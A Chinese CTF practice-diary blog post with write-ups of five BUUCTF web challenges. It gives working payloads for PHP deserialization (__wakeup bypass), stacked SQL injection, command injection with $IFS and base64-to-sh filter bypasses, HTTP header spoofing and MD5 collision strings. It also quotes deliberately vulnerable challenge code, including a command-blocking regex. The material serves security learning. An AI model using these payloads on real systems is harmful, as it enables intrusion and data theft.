首页 > 其他分享 >【BUU刷题日记】——第一周

【BUU刷题日记】——第一周

时间:2023-01-24 11:11:46浏览次数:57  
标签:php 第一周 cat IFS echo flag 刷题 BUU md5

【BUU刷题日记】——第一周

一、[极客大挑战 2019]PHP1

  • 题目说自己有一个备份网站的习惯,所以要了解一下常见的网站源码备份格式及文件名:

    格式:tar、tar.gz、zip、rar

    文件名:web、website、backup、back、www、wwwroot、temp

    排列组合进行尝试之后发现,www.zip文件可以直接下载。

    也有的wp上说可以直接扫描网站目录,但是我用dirsearch没有扫到。

  • 下载后进行php代码审计:

    image-20221113234619747

    class.php:

    <?php
    include 'flag.php';
    
    
    error_reporting(0);
    
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
                
            }
        }
    }
    ?>
    

    定义了一个name类,说明题目意思让我们进行反序列化利用。看__destruct函数可以知道如果username='admin'并且password=100就能得到flag。但是这两个变量被强制赋值为'nonono'和'yesyes',并且在反序列化调用wakeup()函数时还会复制为'guest'。

    index.php:

    <!DOCTYPE html>
    <head>
      <meta charset="UTF-8">
      <title>I have a cat!</title>
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
          <link rel="stylesheet" href="style.css">
    </head>
    <style>
        #login{   
            position: absolute;   
            top: 50%;   
            left:50%;   
            margin: -150px 0 0 -150px;   
            width: 300px;   
            height: 300px;   
        }   
        h4{   
            font-size: 2em;   
            margin: 0.67em 0;   
        }
    </style>
    <body>
    
    
    
    
    
    
    
    <div id="world">
        <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
        </div>
        <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
        </div>
        <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
        <?php
        include 'class.php';
        $select = $_GET['select'];
        $res=unserialize(@$select);
        ?>
        </div>
        <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
    </div>
    <script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
    <script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
    <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
    <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
    <script  src="index.js"></script>
    </body>
    </html>
    

    看php部分知道使用select进行传参。

    flag.php

    <?php
    $flag = 'Syc{dog_dog_dog_dog}';
    ?>
    

    没啥用, 应该编码之后得到flag。

  • 利用

    基本payload:

    <?php
    class Name{
    	private $username='admin';
    	private $password = 100;
    }
    $test=new Name();
    echo serialize($test);
    
    ?>
    

    为什么Payload中Name类里不写方法,因为在序列化时只针对变量,写上方法也不会被序列化。

    输出中,因为$username和$password是私有变量,在输出时会产空白符(在一些输出中也可能是乱码),所以需要加上%00,变为:

    O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    

    同时我们需要绕过反序列化时调用的wakeup()函数(CVE-2016-7124,PHP5<5.6.25,PHP7 < 7.0.10),即当成员属性数目大于实际数目时即可绕过wakeup()函数,所以将序列化后字符串中原本的2,改为3:

    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    
  • 执行

    image-20221114115016900

    得到flag。

    总结

    • 网站一般的备份文件名
    • 私有变量序列化后要在变量名前加%00类名%00
    • wake_up函数绕过:让变量数量字段的值大于实际的变量数

二、[强网杯 2019]随便注1

  • 先测试一下是什么类型注入:

    输入1':

    image-20221115231205971

    输入1'#:

    image-20221115231340050

    由此可见是字符型输入,单引号闭合,‘#’注释。

  • 查询字段数:

    1' order by 3#
    
    image-20221115232539103

    然后order by 2返回正常,说明表中有两个字段。

  • 使用联合注入:

    1' union select 1,3#
    

    image-20221115232914945

    对一些关键词进行了规避。

  • 使用堆叠注入

    通过在语句后加分号实现同时执行两条语句:

    1'; show databases;#
    
    image-20221115233332768

    查询表名:

    1';show tables;#
    
    image-20221115235442394

    查询列名:

    1';show columns from 1919810931114514;#
    

    无回显,

    1';show columns from words;#
    
    image-20221123222611190

    不知道两者为啥不一样。网上的wp中提到数据库名使用`进行包围,具体区别:

    • `和'在linux下不区分,在windows下区分
    • `用于对数据库名、表名、列名进行引用;当字段值和mysql保留字相同,则必须使用反引号进行区分
    • '用于对字段值进行应用

    于是尝试:

    1';show columns from `1919810931114514`;#
    
    image-20221124100428260

    看到flag表。

  • 进行利用:

    • 重命名数据库(因为select字段被过滤,所以可以让程序中本来存在的select帮助我们完成查询;因为该语句是在words表中进行查询,所以先将19表现重命名为words,然后将flag字段重命名为id字段):

      1';
      rename table words to word2;
      rename table `1919810931114514` to words;
      alter table words change flag id varchar(50);
      

      image-20221124104649133

      执行成功。

      直接查询表中所有的值:

      1' or 1=1 #
      

      因为语句为select * where id = '1' or 1=1#其中1=1恒为真,所以where的条件恒为真,相当于查询表中所有数据。

      image-20221124104810795

    • 预编译语句

      set @tb = 'student'; //设置表名
      set @sql = concat('select * from',@tb);	//将表名与查询语句连接,设置sql语句
      PREPARE name from @sql; //预定义sql语句
      excute name;	//执行语句
      

    (DEALLOCATE || DROP) PREPARE sql; 删除语句

    
    本题中可以使用concat()将拆开后的select字符串进行连接,从而规避了对select的过滤:
    
    

    1';
    set @sql=concat('se','lect * from 1919810931114514');
    prepare name from @sql;
    excute name;#

    
    ### 总结
    
    - 堆叠注入
    - 预编译绕过,重命名绕过
    - show()查看列名
    
    
    
    

三、[GXYCTF2019]Ping Ping Ping 1

  • 观察题目猜到应该让我们通过ip传参:

    /?ip=127.0.0.1
    

    image-20221116110458700

  • 在命令后再输入一条命令看能不能执行:

    /?ip=127.0.0.1;ls
    

    image-20221116110605985

  • cat一下看看能不能直接查看:

    /?ip=127.0.0.1;cat flag.php
    

    image-20221116110734725

    说明空格被过滤了。

    linux下空格可用这些来替换:<、<>、$IFS

    image-20221116113459918

    url中可以进行替换:%20(space)、%09(tab)

  • 尝试一下

    /?ip=127.0.0.1;cat$IFS$1flag.php
    

    image-20221116113654262

    说明可以使用$IFS$1进行绕过。

  • 查看上级路径信息:

    /?ip=127.0.0.1;cd$IFS$../;ls
    

    image-20221116110839144

  • 查看index.php

    /?ip=127.0.0.1;cat$IFS$1index.php
    

    image-20221116113912487

  • 尝试使用其他方法查看:

    使用拷贝文件到另一个文件看看:

    /?ip=127.0.0.1;cp$IFS$1flag.php$IFS$1test.php
    

    访问失败。

    为了绕过对flag.php关键词的过滤,考虑base64编码:

    /?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw$IFS$1|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1sh
    

    'Y2F0IGZsYWcucGhw'为'cat flag.php'的base64编码格式

    image-20221117113300647

    不要以为没有成功,直接f12查看源码:

    image-20221117113552230

  • 其他方法

    看了题解发现还有其他姿势:

    /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
    

    因为源代码中使用了变量a,所以可以进行替换,从而规避关键词'flag'

    使用内联执行,直接对执行ls后的所有文件进行cat:

    ?ip=127.0.0.1;cat$IFS$9`ls`
    

    image-20221117114018765

    总结

    • $IFS$1绕过空格过滤
    • base64编码命令并执行
    • 内联执行
    • 变量赋值之后替换原规避字段

四、[极客大挑战 2019]Http1

  • 查看源码

    image-20221124150508421

    访问之后如下:

    image-20221124150529903

    提示我们不是来自'https://Sycsecret.buuoj.cn',据此想到浏览器的referer字段:

  • Referer欺骗

    Referer字段:http请求头中的referer字段主要是标识请求端是通过什么路径向该网站进行访问。

    例如下图中,我们在bing中随便点击一个其他网页,在该请求头中就会标识Referer为www.bing.com

    image-20221124151114220

    referer欺骗:是指我们抓包修改请求头的Referer字段,从而对服务器端进行欺骗。可以用在CSRF中,如果服务器端会验证同源策略,那么攻击者就可以referer欺骗。

  • 利用

    抓包添加Referer字段,并且将User-Agent改为Syclover(因为Referer欺骗之后页面会让你改浏览器,不再赘述):

    image-20221124151507325

    发送:

    image-20221124151705294
  • X-Forwarded-For:

    X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。因此,我们只需要在包中在在加上:X-Forwarded-For: 127.0.0.1

    image-20221124152500911

    总结

    • 考察了对http几个字段的了解
    • referer和x-forwarded-for

五、[安洵杯 2019]easy_web1

  • 观察url

    http://dda91009-f620-4ebb-a060-da2e32761ceb.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
    

    可见存在一个base64编码,进行两次解码:

    3535352e706e67
    

    16进制转字符串:

    555.png
    

    据此,我们可以知道其传参的编码方式,可以通过img参数访问其他文件。

  • 尝试访问index.php

    现将字符串'index.php'转化成16进制,然后进行两次base64编码:

img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=


![image-20221128110650180](https://raw.githubusercontent.com/CaptainGrun/typora_images/blogs/BUU/image-20221128110650180.png)

源码中出现一堆base64编码,进行解码后:

~~~php
<?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
        header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));

    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
        echo '<img src ="./ctf3.jpeg">';
        die("xixi~ no flag");
    } else {
        $txt = base64_encode(file_get_contents($file));
        echo "<img src='data:image/gif;base64," . $txt . "'></img>";
        echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("forbid ~");
        echo "<br>";
    } else {
        if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    }

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
  • 观察源码

    参数编码部分:

    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    

    php语句过滤:

    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
            echo("forbid ~");
            echo "<br>";
        }
    

    md5验证:

    (string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
    
  • php正则语句绕过

    观察正则语句,可以发现绕过了一些cat,ls等查看的命令,再查看反斜杠部分:|\\|\\\\|。在php中想要过滤反斜杠需要过滤\\\\,因为存在两次解析。首先是php的解析,将\\\\解析成\\,然后正则表达式里再将\\解析为\。

    但是在本题的反斜杠部分|\\|\\\\|中,首先php将其解析为|\|\\|,然后在正则表达式中再将其解析为||\|,所以最后\并没有被过滤,而是过滤了|\。因此可以使用反斜杠绕过:l\s,c\at。

  • md5碰撞

    md5碰撞在php中分为强比较和弱比较

    • 弱比较

      if(md5($A)==md5($B)&&string($A)!=string($B))
      

      数组绕过:$A[]=1,$B[]=2;因为在php中数组没有md5值,所以md5($A)=md5($B)=null

      科学计数法绕过:在php的弱比较中,如果等号两边都是0e开头,那么等号会将其作为科学计数法的形式进行比较(0e123在php中就是0的123次方),因为0的任何次方都是0,因此可以绕过弱等于,下面是一些字符串和其对应的md5值:

      aabg7XSs
      0e087386482136013740957780965295
      
      QNKCDZO
      0e830400451993494058024219903391
      
      s878926199a
      0e545993274517709034328855841020
      
      s155964671a
      0e342768416822451524974117254469
      
    • 强比较

      if(md5($A)===md5($B)&&string($A)!==string($B))
      

      数组绕过:同上

      强碰撞:

      a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
      
      b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
      

      这两串编码的md5值相同,其产生是将两个非常相似的长字符串(16进制)转化成asccii码然后再写入到二进制文件,这两个文件的md5值相同。然后将文件内容使用url编码即可。

  • 利用

    根据上面php正则过滤和md5比较的漏洞可以进行利用:

    image-20230124102407043

    可以看到dir命令没有被过滤,并且执行成功,说明md5比较部分绕过成功。

    下面直接使用cat /flag进行flag的读取,同时需要增加\来过滤规避:

    image-20230124102818852

    总结

    • php正则匹配规则
    • php匹配/符号时会解析两次
    • md5强比较、弱比较

    参考链接:

    https://blog.csdn.net/m0_46436640/article/details/108679641

标签:php,第一周,cat,IFS,echo,flag,刷题,BUU,md5
From: https://www.cnblogs.com/capz/p/17065952.html

相关文章

  • CTFshow刷题记录
    整理的一些ctf题目WEB题ctfshow年CTF除夕题目要求通过get传入year参数然后进行判断是否成立,成立就返回flag这里可以用科学计数法表示通过get传入year=2.022e3即......
  • 【刷题记录】CF 交互构造题
    CF1779E给一张竞赛图,问一个\(n-1\)场淘汰赛之后可能的冠军有哪些。通过交互得到竞赛图的度。然后运用竞赛图的一些性质:可能的冠军\(u\)能够到达其他所有节点;......
  • BUUCTF 隐藏的钥匙
    隐藏的钥匙路飞一行人千辛万苦来到了伟大航道的终点,找到了传说中的Onepiece,但是需要钥匙才能打开OnePiece大门,钥匙就隐藏在下面的图片中,聪明的你能帮路飞拿到钥匙,打开On......
  • BUUCTF 爱因斯坦
    爱因斯坦注意:得到的flag请包上flag{}提交没什么提示,直接下载附件看!打开的是一张图片:  打开jar包玩了一下,居然还有PK!!  重复前两题操作,并不能得到什么信息?......
  • BUUCTF 小明的保险箱
    小明的保险箱小明有一个保险箱,里面珍藏了小明的日记本,他记录了什么秘密呢?。。。告诉你,其实保险箱的密码四位纯数字密码。(答案格式:flag{答案},只需提交答案)注意:得到的flag......
  • 2023WinterHoliday刷题总结第一弹
    \(2023WinterHoliday\)刷题总结第一弹\(CTF\)\(Web\)1.\(json格式:\)$json['x']=="wllm"\(JSON\)(JavaScriptObjectNotation,JS对象简谱)是一种轻量级的数据交换格式,采......
  • LeetCode——刷题笔记二
         ......
  • 算法刷题 Day 20 | 654.最大二叉树 617.合并二叉树 700.二叉搜索树中的搜索 98.验证二
    今日内容最大二叉树合并二叉树二叉搜索树中的搜索验证二叉搜索树详细布置654.最大二叉树又是构造二叉树,昨天大家刚刚做完中序后序确定二叉树,今天做这......
  • 算法刷题 Day 18 | 513.找树左下角的值 112.路径总和 106.从中序与后序遍历序列构造二
    今日内容找树左下角的值路径总和113.路径总和ii从中序与后序遍历序列构造二叉树105.从前序与中序遍历序列构造二叉树详细布置找树左下角的值本地递归偏......
  • LeetCode刷题:343. 整数拆分的完全背包写法解析
    dp的含义表示:从前i个数中挑选,满足和为j的最大乘积为多少。由于是乘积所以dp初始均为1。i为2开始是因为从1开始挑选,j为2开始应为有效数字是从2开始。进一步空间优化,应为dp[......